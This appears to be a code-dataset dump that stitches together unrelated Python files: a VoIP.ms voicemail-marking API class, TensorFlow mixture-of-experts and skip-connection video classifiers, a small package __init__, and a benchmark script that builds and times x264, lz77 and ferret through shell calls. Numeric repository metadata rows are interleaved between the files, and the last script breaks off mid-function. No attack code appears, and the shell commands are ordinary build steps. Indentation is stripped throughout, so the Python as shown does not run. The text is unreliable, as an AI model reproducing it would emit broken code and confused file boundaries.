class VoicemailMark(BaseApi):
"""
Mark for the Voicemail endpoint.
"""
def __init__(self, *args, **kwargs):
"""
Initialize the endpoint
"""
super(VoicemailMark, self).__init__(*args, **kwargs)
self.endpoint = 'voicemail'
def listened_voicemail_message(self, mailbox, folder, message_num, listened):
"""
Mark a Voicemail Message as Listened or Unlistened
- If value is 'yes', the voicemail message will be marked as listened and will be moved to the Old Folder
- If value is 'no', the voicemail message will be marked as not-listened and will be moved to the INBOX Folder
:param mailbox: [Required] ID for a specific Mailbox (Example: 1001)
:type mailbox: :py:class:`int`
:param folder: [required] Name for specific Folder (Required if message id is passed, Example: 'INBOX', values from: voicemail.get_voicemail_folders)
:type folder: :py:class:`str`
:param message_num: [required] ID for specific Voicemail Message (Required if folder is passed, Example: 1)
:type message_num: :py:class:`int`
:param listened: [required] Code for mark voicemail as listened or not-listened (Values: 'yes'/'no')
:type listened: :py:class:`str`
:returns: :py:class:`dict`
"""
method = "markListenedVoicemailMessage"
if not isinstance(mailbox, int):
raise ValueError("ID for a specific Mailbox needs to be an int (Example: 1001)")
if not isinstance(folder, str):
raise ValueError("Name for specific Folder needs to be a str (Required if message id is passed, Example: 'INBOX', values from: voicemail.get_voicemail_folders)")
if not isinstance(message_num, int):
raise ValueError("ID for specific Voicemail Message needs to be an int (Required if folder is passed, Example: 1)")
if not isinstance(listened, str):
raise ValueError("Code for mark voicemail as listened or not-listened needs to be a str (Values: 'yes'/'no')")
elif listened not in ("yes", "no"):
raise ValueError("Code for mark voicemail as listened or not-listened only allows values: 'yes'/'no'")
parameters = {
"mailbox": mailbox,
"folder": folder,
"message_num": message_num,
"listened": listened,
}
return self._voipms_client._get(method, parameters)
def urgent_voicemail_message(self, mailbox, folder, message_num, urgent):
"""
Mark Voicemail Message as Urgent or not Urgent
- If value is 'yes', the voicemail message will be marked as urgent and will be moved to the Urgent Folder
- If value is 'no', the voicemail message will be unmarked as urgent and will be moved to the INBOX Folder
:param mailbox: [Required] ID for a specific Mailbox (Example: 1001)
:type mailbox: :py:class:`int`
:param folder: [required] Name for specific Folder (Required if message id is passed, Example: 'INBOX', values from: voicemail.get_voicemail_folders)
:type folder: :py:class:`str`
:param message_num: [required] ID for specific Voicemail Message (Required if folder is passed, Example: 1)
:type message_num: :py:class:`int`
:param listened: [required] Code for mark voicemail as urgent or not-urgent (Values: 'yes'/'no')
:type listened: :py:class:`str`
:returns: :py:class:`dict`
"""
method = "markUrgentVoicemailMessage"
if not isinstance(mailbox, int):
raise ValueError("ID for a specific Mailbox needs to be an int (Example: 1001)")
if not isinstance(folder, str):
raise ValueError("Name for specific Folder needs to be a str (Required if message id is passed, Example: 'INBOX', values from: voicemail.get_voicemail_folders)")
if not isinstance(message_num, int):
raise ValueError("ID for specific Voicemail Message needs to be an int (Required if folder is passed, Example: 1)")
if not isinstance(urgent, str):
raise ValueError("Code for mark voicemail as urgent or not-urgent needs to be a str (Values: 'yes'/'no')")
elif urgent not in ("yes", "no"):
raise ValueError("Code for mark voicemail as urgent or not-urgent only allows values: 'yes'/'no'")
parameters = {
"mailbox": mailbox,
"folder": folder,
"message_num": message_num,
"urgent": urgent,
}
return self._voipms_client._get(method, parameters)
| 44.830189 | 173 | 0.649621 | 616 | 4,752 | 4.949675 | 0.142857 | 0.062971 | 0.039357 | 0.039357 | 0.842571 | 0.83634 | 0.83634 | 0.767137 | 0.754346 | 0.723516 | 0 | 0.005926 | 0.254209 | 4,752 | 105 | 174 | 45.257143 | 0.854402 | 0.388258 | 0 | 0.511628 | 0 | 0.139535 | 0.402804 | 0.044714 | 0 | 0 | 0 | 0 | 0 | 1 | 0.069767 | false | 0.093023 | 0.023256 | 0 | 0.162791 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
3a18a1bb565e9ab29173ce5f9b44f403b54f003f | 20,340 | py | Python | video_level_models.py | Ayanzadeh93/youtube-8m | 1583e89c2246b47f5f538afe725098156ba9e833 | [
"Apache-2.0"
] | 4 | 2017-05-25T11:07:20.000Z | 2021-01-17T23:24:16.000Z | video_level_models.py | Ayanzadeh93/youtube-8m | 1583e89c2246b47f5f538afe725098156ba9e833 | [
"Apache-2.0"
] | null | null | null | video_level_models.py | Ayanzadeh93/youtube-8m | 1583e89c2246b47f5f538afe725098156ba9e833 | [
"Apache-2.0"
] | 2 | 2017-05-24T14:10:33.000Z | 2017-05-30T18:31:23.000Z | # Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS-IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Contains model definitions."""
import math
import models
import tensorflow as tf
import utils
from tensorflow import flags
import tensorflow.contrib.slim as slim
FLAGS = flags.FLAGS
flags.DEFINE_integer(
"moe_num_mixtures", 2,
"The number of mixtures (excluding the dummy 'expert') used for MoeModel.")
class LogisticModel(models.BaseModel):
"""Logistic model with L2 regularization."""
def create_model(self, model_input, vocab_size, l2_penalty=1e-8, **unused_params):
"""Creates a logistic model.
Args:
model_input: 'batch' x 'num_features' matrix of input features.
vocab_size: The number of classes in the dataset.
Returns:
A dictionary with a tensor containing the probability predictions of the
model in the 'predictions' key. The dimensions of the tensor are
batch_size x num_classes."""
output = slim.fully_connected(
model_input, vocab_size, activation_fn=tf.nn.sigmoid,
weights_regularizer=slim.l2_regularizer(l2_penalty))
return {"predictions": output}
class MoeModel(models.BaseModel):
"""A softmax over a mixture of logistic models (with L2 regularization)."""
def create_model(self,
model_input,
vocab_size,
num_mixtures=None,
l2_penalty=1e-8,
**unused_params):
"""Creates a Mixture of (Logistic) Experts model.
The model consists of a per-class softmax distribution over a
configurable number of logistic classifiers. One of the classifiers in the
mixture is not trained, and always predicts 0.
Args:
model_input: 'batch_size' x 'num_features' matrix of input features.
vocab_size: The number of classes in the dataset.
num_mixtures: The number of mixtures (excluding a dummy 'expert' that
always predicts the non-existence of an entity).
l2_penalty: How much to penalize the squared magnitudes of parameter
values.
Returns:
A dictionary with a tensor containing the probability predictions of the
model in the 'predictions' key. The dimensions of the tensor are
batch_size x num_classes.
"""
num_mixtures = num_mixtures or FLAGS.moe_num_mixtures
gate_activations = slim.fully_connected(
model_input,
vocab_size * (num_mixtures + 1),
activation_fn=None,
biases_initializer=None,
weights_regularizer=slim.l2_regularizer(l2_penalty),
scope="gates")
expert_activations = slim.fully_connected(
model_input,
vocab_size * num_mixtures,
activation_fn=None,
weights_regularizer=slim.l2_regularizer(l2_penalty),
scope="experts")
gating_distribution = tf.nn.softmax(tf.reshape(
gate_activations,
[-1, num_mixtures + 1])) # (Batch * #Labels) x (num_mixtures + 1)
expert_distribution = tf.nn.sigmoid(tf.reshape(
expert_activations,
[-1, num_mixtures])) # (Batch * #Labels) x num_mixtures
final_probabilities_by_class_and_batch = tf.reduce_sum(
gating_distribution[:, :num_mixtures] * expert_distribution, 1)
final_probabilities = tf.reshape(final_probabilities_by_class_and_batch,
[-1, vocab_size])
return {"predictions": final_probabilities}
class ThreeLayerModelPlainSkip2048(models.BaseModel):
def create_model(self, model_input, vocab_size, num_hidden_units=2048, l2_penalty=1e-8, prefix='', **unused_params):
"""Creates a logistic model.
Args:
model_input: 'batch' x 'num_features' matrix of input features.
vocab_size: The number of classes in the dataset.
Returns:
A dictionary with a tensor containing the probability predictions of the
model in the 'predictions' key. The dimensions of the tensor are
batch_size x num_classes."""
# Initialize weights for projection
w_s = tf.Variable(tf.random_normal(shape=[1152, 2048], stddev=0.01))
input_projected = tf.matmul(model_input, w_s)
hidden1 = tf.layers.dense(
inputs=model_input, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_1')
relu1 = tf.nn.relu(hidden1, name=prefix+'relu1' )
dropout1 = tf.layers.dropout(inputs=relu1, rate=0.5, name=prefix+"dropout1")
hidden2 = tf.layers.dense(
inputs=dropout1, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_2')
relu2 = tf.nn.relu(hidden2, name=prefix+'relu2' )
dropout2 = tf.layers.dropout(inputs=relu2, rate=0.5, name=prefix+"dropout2")
input_projected_plus_h2 = tf.add(input_projected, dropout2)
#input_projected_plus_h2 = tf.add(input_plus_h1, relu2)
output = slim.fully_connected(
input_projected_plus_h2, vocab_size, activation_fn=tf.nn.sigmoid,
weights_regularizer=slim.l2_regularizer(l2_penalty), scope=prefix+'fc_3')
weights_norm = tf.add_n(tf.losses.get_regularization_losses())
return {"predictions": output, "regularization_loss": weights_norm}
#return {"predictions": output}
class ThreeLayerModelBnSkip2048(models.BaseModel):
def create_model(self, model_input, vocab_size, num_hidden_units=2048, l2_penalty=1e-8, prefix='', **unused_params):
"""Creates a logistic model.
Args:
model_input: 'batch' x 'num_features' matrix of input features.
vocab_size: The number of classes in the dataset.
Returns:
A dictionary with a tensor containing the probability predictions of the
model in the 'predictions' key. The dimensions of the tensor are
batch_size x num_classes."""
# Initialize weights for projection
w_s = tf.Variable(tf.random_normal(shape=[1152, 2048], stddev=0.01))
input_projected = tf.matmul(model_input, w_s)
hidden1 = tf.layers.dense(
inputs=model_input, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_1')
bn1 = slim.batch_norm(hidden1, scope=prefix+'bn1')
relu1 = tf.nn.relu(bn1, name=prefix+'relu1' )
dropout1 = tf.layers.dropout(inputs=relu1, rate=0.5, name=prefix+"dropout1")
hidden2 = tf.layers.dense(
inputs=dropout1, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_2')
bn2 = slim.batch_norm(hidden2, scope=prefix+'bn2')
relu2 = tf.nn.relu(bn2, name=prefix+'relu2' )
dropout2 = tf.layers.dropout(inputs=relu2, rate=0.5, name=prefix+"dropout2")
input_projected_plus_h2 = tf.add(input_projected, dropout2)
#input_projected_plus_h2 = tf.add(input_plus_h1, relu2)
output = slim.fully_connected(
input_projected_plus_h2, vocab_size, activation_fn=tf.nn.sigmoid,
weights_regularizer=slim.l2_regularizer(l2_penalty), scope=prefix+'fc_3')
weights_norm = tf.add_n(tf.losses.get_regularization_losses())
return {"predictions": output, "regularization_loss": weights_norm}
#return {"predictions": output}
class ThreeLayerModelPlainSkip4096(models.BaseModel):
def create_model(self, model_input, vocab_size, num_hidden_units=4096, l2_penalty=1e-8, prefix='', **unused_params):
"""Creates a logistic model.
Args:
model_input: 'batch' x 'num_features' matrix of input features.
vocab_size: The number of classes in the dataset.
Returns:
A dictionary with a tensor containing the probability predictions of the
model in the 'predictions' key. The dimensions of the tensor are
batch_size x num_classes."""
# Initialize weights for projection
w_s = tf.Variable(tf.random_normal(shape=[1152, 4096], stddev=0.01))
input_projected = tf.matmul(model_input, w_s)
hidden1 = tf.layers.dense(
inputs=model_input, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_1')
relu1 = tf.nn.relu(hidden1, name=prefix+'relu1' )
dropout1 = tf.layers.dropout(inputs=relu1, rate=0.5, name=prefix+"dropout1")
hidden2 = tf.layers.dense(
inputs=dropout1, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_2')
relu2 = tf.nn.relu(hidden2, name=prefix+'relu2' )
dropout2 = tf.layers.dropout(inputs=relu2, rate=0.5, name=prefix+"dropout2")
input_projected_plus_h2 = tf.add(input_projected, dropout2)
#input_projected_plus_h2 = tf.add(input_plus_h1, relu2)
output = slim.fully_connected(
input_projected_plus_h2, vocab_size, activation_fn=tf.nn.sigmoid,
weights_regularizer=slim.l2_regularizer(l2_penalty), scope=prefix+'fc_3')
weights_norm = tf.add_n(tf.losses.get_regularization_losses())
return {"predictions": output, "regularization_loss": weights_norm}
#return {"predictions": output}
class ThreeLayerModelBnSkip4096(models.BaseModel):
def create_model(self, model_input, vocab_size, num_hidden_units=4096, l2_penalty=1e-8, prefix='', **unused_params):
"""Creates a logistic model.
Args:
model_input: 'batch' x 'num_features' matrix of input features.
vocab_size: The number of classes in the dataset.
Returns:
A dictionary with a tensor containing the probability predictions of the
model in the 'predictions' key. The dimensions of the tensor are
batch_size x num_classes."""
# Initialize weights for projection
w_s = tf.Variable(tf.random_normal(shape=[1152, 4096], stddev=0.01))
input_projected = tf.matmul(model_input, w_s)
hidden1 = tf.layers.dense(
inputs=model_input, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_1')
bn1 = slim.batch_norm(hidden1, scope=prefix+'bn1')
relu1 = tf.nn.relu(bn1, name=prefix+'relu1' )
dropout1 = tf.layers.dropout(inputs=relu1, rate=0.5, name=prefix+"dropout1")
hidden2 = tf.layers.dense(
inputs=dropout1, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_2')
bn2 = slim.batch_norm(hidden2, scope=prefix+'bn2')
relu2 = tf.nn.relu(bn2, name=prefix+'relu2' )
dropout2 = tf.layers.dropout(inputs=relu2, rate=0.5, name=prefix+"dropout2")
input_projected_plus_h2 = tf.add(input_projected, dropout2)
#input_projected_plus_h2 = tf.add(input_plus_h1, relu2)
output = slim.fully_connected(
input_projected_plus_h2, vocab_size, activation_fn=tf.nn.sigmoid,
weights_regularizer=slim.l2_regularizer(l2_penalty), scope=prefix+'fc_3')
weights_norm = tf.add_n(tf.losses.get_regularization_losses())
return {"predictions": output, "regularization_loss": weights_norm}
#return {"predictions": output}
class FourLayerModelPlainSkip1024(models.BaseModel):
def create_model(self, model_input, vocab_size, num_hidden_units=1024, l2_penalty=1e-8, prefix='', **unused_params):
"""Creates a logistic model.
Args:
model_input: 'batch' x 'num_features' matrix of input features.
vocab_size: The number of classes in the dataset.
Returns:
A dictionary with a tensor containing the probability predictions of the
model in the 'predictions' key. The dimensions of the tensor are
batch_size x num_classes."""
# Initialize weights for projection
w_s = tf.Variable(tf.random_normal(shape=[1152, 1024], stddev=0.01))
input_projected = tf.matmul(model_input, w_s)
hidden1 = tf.layers.dense(
inputs=model_input, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_1')
relu1 = tf.nn.relu(hidden1, name=prefix+'relu1' )
dropout1 = tf.layers.dropout(inputs=relu1, rate=0.5, name=prefix+"dropout1")
hidden2 = tf.layers.dense(
inputs=dropout1, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_2')
relu2 = tf.nn.relu(hidden2, name=prefix+'relu2' )
dropout2 = tf.layers.dropout(inputs=relu2, rate=0.5, name=prefix+"dropout2")
hidden3 = tf.layers.dense(
inputs=dropout2, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_3')
relu3 = tf.nn.relu(hidden3, name=prefix+'relu3' )
dropout3 = tf.layers.dropout(inputs=relu3, rate=0.5, name=prefix+"dropout3")
input_projected_plus_h3 = tf.add(input_projected, dropout3)
#input_projected_plus_h2 = tf.add(input_plus_h1, relu2)
output = slim.fully_connected(
input_projected_plus_h3, vocab_size, activation_fn=tf.nn.sigmoid,
weights_regularizer=slim.l2_regularizer(l2_penalty), scope=prefix+'fc_3')
weights_norm = tf.add_n(tf.losses.get_regularization_losses())
return {"predictions": output, "regularization_loss": weights_norm}
#return {"predictions": output}
class FourLayerModelBnSkip1024(models.BaseModel):
def create_model(self, model_input, vocab_size, num_hidden_units=1024, l2_penalty=1e-8, prefix='', **unused_params):
"""Creates a logistic model.
Args:
model_input: 'batch' x 'num_features' matrix of input features.
vocab_size: The number of classes in the dataset.
Returns:
A dictionary with a tensor containing the probability predictions of the
model in the 'predictions' key. The dimensions of the tensor are
batch_size x num_classes."""
# Initialize weights for projection
w_s = tf.Variable(tf.random_normal(shape=[1152, 1024], stddev=0.01))
input_projected = tf.matmul(model_input, w_s)
hidden1 = tf.layers.dense(
inputs=model_input, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_1')
bn1 = slim.batch_norm(hidden1, scope=prefix+'bn1')
relu1 = tf.nn.relu(bn1, name=prefix+'relu1' )
dropout1 = tf.layers.dropout(inputs=relu1, rate=0.5, name=prefix+"dropout1")
hidden2 = tf.layers.dense(
inputs=dropout1, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_2')
bn2 = slim.batch_norm(hidden2, scope=prefix+'bn2')
relu2 = tf.nn.relu(bn2, name=prefix+'relu2' )
dropout2 = tf.layers.dropout(inputs=relu2, rate=0.5, name=prefix+"dropout2")
hidden3 = tf.layers.dense(
inputs=dropout2, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_3')
relu3 = tf.nn.relu(hidden3, name=prefix+'relu3' )
dropout3 = tf.layers.dropout(inputs=relu3, rate=0.5, name=prefix+"dropout3")
input_projected_plus_h3 = tf.add(input_projected, dropout3)
#input_projected_plus_h2 = tf.add(input_plus_h1, relu2)
output = slim.fully_connected(
input_projected_plus_h3, vocab_size, activation_fn=tf.nn.sigmoid,
weights_regularizer=slim.l2_regularizer(l2_penalty), scope=prefix+'fc_3')
weights_norm = tf.add_n(tf.losses.get_regularization_losses())
return {"predictions": output, "regularization_loss": weights_norm}
#return {"predictions": output}
class FourLayerModelPlainSkip2048(models.BaseModel):
def create_model(self, model_input, vocab_size, num_hidden_units=2048, l2_penalty=1e-8, prefix='', **unused_params):
"""Creates a logistic model.
Args:
model_input: 'batch' x 'num_features' matrix of input features.
vocab_size: The number of classes in the dataset.
Returns:
A dictionary with a tensor containing the probability predictions of the
model in the 'predictions' key. The dimensions of the tensor are
batch_size x num_classes."""
# Initialize weights for projection
w_s = tf.Variable(tf.random_normal(shape=[1152, 2048], stddev=0.01))
input_projected = tf.matmul(model_input, w_s)
hidden1 = tf.layers.dense(
inputs=model_input, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_1')
relu1 = tf.nn.relu(hidden1, name=prefix+'relu1' )
dropout1 = tf.layers.dropout(inputs=relu1, rate=0.5, name=prefix+"dropout1")
hidden2 = tf.layers.dense(
inputs=dropout1, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_2')
relu2 = tf.nn.relu(hidden2, name=prefix+'relu2' )
dropout2 = tf.layers.dropout(inputs=relu2, rate=0.5, name=prefix+"dropout2")
hidden3 = tf.layers.dense(
inputs=dropout2, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_3')
relu3 = tf.nn.relu(hidden3, name=prefix+'relu3' )
dropout3 = tf.layers.dropout(inputs=relu3, rate=0.5, name=prefix+"dropout3")
input_projected_plus_h3 = tf.add(input_projected, dropout3)
#input_projected_plus_h2 = tf.add(input_plus_h1, relu2)
output = slim.fully_connected(
input_projected_plus_h3, vocab_size, activation_fn=tf.nn.sigmoid,
weights_regularizer=slim.l2_regularizer(l2_penalty), scope=prefix+'fc_3')
weights_norm = tf.add_n(tf.losses.get_regularization_losses())
return {"predictions": output, "regularization_loss": weights_norm}
#return {"predictions": output}
class FourLayerModelBnSkip2048(models.BaseModel):
def create_model(self, model_input, vocab_size, num_hidden_units=2048, l2_penalty=1e-8, prefix='', **unused_params):
"""Creates a logistic model.
Args:
model_input: 'batch' x 'num_features' matrix of input features.
vocab_size: The number of classes in the dataset.
Returns:
A dictionary with a tensor containing the probability predictions of the
model in the 'predictions' key. The dimensions of the tensor are
batch_size x num_classes."""
# Initialize weights for projection
w_s = tf.Variable(tf.random_normal(shape=[1152, 2048], stddev=0.01))
input_projected = tf.matmul(model_input, w_s)
hidden1 = tf.layers.dense(
inputs=model_input, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_1')
bn1 = slim.batch_norm(hidden1, scope=prefix+'bn1')
relu1 = tf.nn.relu(bn1, name=prefix+'relu1' )
dropout1 = tf.layers.dropout(inputs=relu1, rate=0.5, name=prefix+"dropout1")
hidden2 = tf.layers.dense(
inputs=dropout1, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_2')
bn2 = slim.batch_norm(hidden2, scope=prefix+'bn2')
relu2 = tf.nn.relu(bn2, name=prefix+'relu2' )
dropout2 = tf.layers.dropout(inputs=relu2, rate=0.5, name=prefix+"dropout2")
hidden3 = tf.layers.dense(
inputs=dropout2, units=num_hidden_units, activation=None,
kernel_regularizer=slim.l2_regularizer(l2_penalty), name=prefix+'fc_3')
relu3 = tf.nn.relu(hidden3, name=prefix+'relu3' )
dropout3 = tf.layers.dropout(inputs=relu3, rate=0.5, name=prefix+"dropout3")
input_projected_plus_h3 = tf.add(input_projected, dropout3)
#input_projected_plus_h2 = tf.add(input_plus_h1, relu2)
output = slim.fully_connected(
input_projected_plus_h3, vocab_size, activation_fn=tf.nn.sigmoid,
weights_regularizer=slim.l2_regularizer(l2_penalty), scope=prefix+'fc_3')
weights_norm = tf.add_n(tf.losses.get_regularization_losses())
return {"predictions": output, "regularization_loss": weights_norm}
#return {"predictions": output} | 37.252747 | 118 | 0.714503 | 2,764 | 20,340 | 5.057525 | 0.083936 | 0.042922 | 0.037699 | 0.062093 | 0.876171 | 0.868875 | 0.863581 | 0.861578 | 0.858431 | 0.850633 | 0 | 0.033293 | 0.178958 | 20,340 | 546 | 119 | 37.252747 | 0.803772 | 0.267306 | 0 | 0.79661 | 0 | 0 | 0.05233 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.042373 | false | 0 | 0.025424 | 0 | 0.152542 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3a3da7526f2e4742f7198933095107c14cdcdcab | 90 | py | Python | neuralcode/__init__.py | neuralcode/neuralcode | bf03523fed0240477e153ee2beb319f0594e4095 | [
"MIT"
] | 5 | 2021-02-23T22:54:34.000Z | 2021-02-25T15:07:54.000Z | neuralcode/__init__.py | neuralcode/neuralcode | bf03523fed0240477e153ee2beb319f0594e4095 | [
"MIT"
] | null | null | null | neuralcode/__init__.py | neuralcode/neuralcode | bf03523fed0240477e153ee2beb319f0594e4095 | [
"MIT"
] | null | null | null | from . import data # NOQA
from . import datasets # NOQA
from . import tokenizers # NOQA | 30 | 32 | 0.711111 | 12 | 90 | 5.333333 | 0.5 | 0.46875 | 0.4375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.222222 | 90 | 3 | 32 | 30 | 0.914286 | 0.155556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
e92b4338e72259c910c187962c673985c53ada39 | 8,087 | py | Python | run_benchmark.py | wustl-pctg/pracer | cef50c59ff7ea0a226d08fdaef2d5e658782259c | [
"MIT",
"BSD-3-Clause"
] | null | null | null | run_benchmark.py | wustl-pctg/pracer | cef50c59ff7ea0a226d08fdaef2d5e658782259c | [
"MIT",
"BSD-3-Clause"
] | null | null | null | run_benchmark.py | wustl-pctg/pracer | cef50c59ff7ea0a226d08fdaef2d5e658782259c | [
"MIT",
"BSD-3-Clause"
] | null | null | null | import sys
import os
import re
work_dir = os.getcwd()
def x264(config):
if config == "base":
os.chdir(work_dir + "/piper-bench/x264/src")
os.system("cp Makefile_ori Makefile")
os.system("sed -i \'s/WORK_DIR/" + work_dir.replace("/", "\\/") + "/\' Makefile")
os.system("make clean > /dev/null 2>&1")
os.system("make piper > /dev/null 2>&1")
ret = os.popen("./run_piper.sh")
print "x264, baseline:"
x264_extract_number(ret)
if config == "sp":
os.chdir(work_dir + "/rdtool")
os.system("./copy.sh")
os.chdir(work_dir + "/rdtool/src")
os.system("cp instrumentation.cpp_om instrumentation.cpp")
os.chdir(work_dir + "/piper-bench/x264/src")
os.system("cp Makefile_om Makefile")
os.system("sed -i \'s/WORK_DIR/" + work_dir.replace("/", "\\/") + "/\' Makefile")
os.system("./clean_rd.h > /dev/null 2>&1")
os.system("make clean > /dev/null 2>&1")
os.system("make piper > /dev/null 2>&1")
ret = os.popen("./run_piper.sh")
print "x264, sp-maintenance:"
x264_extract_number(ret)
os.chdir(work_dir + "/rdtool")
os.system("./revert.sh")
if config == "full":
os.chdir(work_dir + "/rdtool")
os.system("./copy.sh")
os.chdir(work_dir + "/rdtool/src")
os.system("cp instrumentation.cpp_rd instrumentation.cpp")
os.chdir(work_dir + "/piper-bench/x264/src")
os.system("cp Makefile_rd Makefile")
os.system("sed -i \'s/WORK_DIR/" + work_dir.replace("/", "\\/") + "/\' Makefile")
os.system("./clean_rd.h > /dev/null 2>&1")
os.system("make clean > /dev/null 2>&1")
os.system("make piper > /dev/null 2>&1")
ret = os.popen("./run_piper.sh")
print "x264, full:"
x264_extract_number(ret)
os.chdir(work_dir + "/rdtool")
os.system("./revert.sh")
def x264_extract_number(handle):
i = 1
line = handle.readline()
while line:
number = re.search(r"Running time:\s+(([0-9]|\.)+)", line)
if number:
print "cores used: ", i , "elapsed time in second: ", number.group(1)
if i < 4:
i = i * 2
else:
i = i + 4
line = handle.readline()
handle.close()
def lz77(config):
if config == "base":
os.chdir(work_dir + "/piper-bench/lz77")
os.system("cp Makefile_ori Makefile")
os.system("sed -i \'s/WORK_DIR/" + work_dir.replace("/", "\\/") + "/\' Makefile")
os.system("make clean > /dev/null 2>&1")
os.system("make > /dev/null 2>&1")
ret = os.popen("./run.sh")
print "lz77, baseline:"
lz77_extract_number(ret)
if config == "sp":
os.chdir(work_dir + "/rdtool")
os.system("./copy.sh")
os.chdir(work_dir + "/rdtool/src")
os.system("cp instrumentation.cpp_om instrumentation.cpp")
os.chdir(work_dir + "/piper-bench/lz77")
os.system("cp Makefile_om Makefile")
os.system("sed -i \'s/WORK_DIR/" + work_dir.replace("/", "\\/") + "/\' Makefile")
os.system("./clean_rd.h > /dev/null 2>&1")
os.system("make clean > /dev/null 2>&1")
os.system("make > /dev/null 2>&1")
ret = os.popen("./run.sh")
print "lz77, sp-maintenance:"
lz77_extract_number(ret)
os.chdir(work_dir + "/rdtool")
os.system("./revert.sh")
if config == "full":
os.chdir(work_dir + "/rdtool")
os.system("./copy.sh")
os.chdir(work_dir + "/rdtool/src")
os.system("cp instrumentation.cpp_rd instrumentation.cpp")
os.chdir(work_dir + "/piper-bench/lz77")
os.system("cp Makefile_rd Makefile")
os.system("sed -i \'s/WORK_DIR/" + work_dir.replace("/", "\\/") + "/\' Makefile")
os.system("./clean_rd.h > /dev/null 2>&1")
os.system("make clean > /dev/null 2>&1")
os.system("make > /dev/null 2>&1")
ret = os.popen("./run.sh")
print "lz77, full:"
lz77_extract_number(ret)
os.chdir(work_dir + "/rdtool")
os.system("./revert.sh")
def lz77_extract_number(handle):
i = 1
line = handle.readline()
while line:
number = re.search(r"Elapsed time in second:\s+(([0-9]|\.)+)", line)
if number:
print "cores used: ", i , "elapsed time in second: ", number.group(1)
if i < 4:
i = i * 2
else:
i = i + 4
line = handle.readline()
handle.close()
def ferret(config):
if config == "base":
os.chdir(work_dir + "/piper-bench/ferret/src")
os.system("cp Makefile_ori Makefile")
os.system("sed -i \'s/WORK_DIR/" + work_dir.replace("/", "\\/") + "/\' Makefile")
os.system("make clean > /dev/null 2>&1")
os.system("make full_clean > /dev/null 2>&1")
os.system("make piper > /dev/null 2>&1")
os.chdir(work_dir + "/piper-bench/ferret")
ret = os.popen("./run_piper_native.sh")
print "ferret, baseline:"
ferret_extract_number(ret)
if config == "sp":
os.chdir(work_dir + "/rdtool")
os.system("./copy.sh")
os.chdir(work_dir + "/rdtool/src")
os.system("cp instrumentation.cpp_om instrumentation.cpp")
os.chdir(work_dir + "/piper-bench/ferret/src")
os.system("cp Makefile_om Makefile")
os.system("sed -i \'s/WORK_DIR/" + work_dir.replace("/", "\\/") + "/\' Makefile")
os.system("./clean_rd.h > /dev/null 2>&1")
os.system("make clean > /dev/null 2>&1")
os.system("make full_clean > /dev/null 2>&1")
os.system("make piper > /dev/null 2>&1")
os.chdir(work_dir + "/piper-bench/ferret")
ret = os.popen("./run_piper_native.sh")
print "ferret, sp-maintenance:"
ferret_extract_number(ret)
os.chdir(work_dir + "/rdtool")
os.system("./revert.sh")
if config == "full":
os.chdir(work_dir + "/rdtool")
os.system("./copy.sh")
os.chdir(work_dir + "/rdtool/src")
os.system("cp instrumentation.cpp_rd instrumentation.cpp")
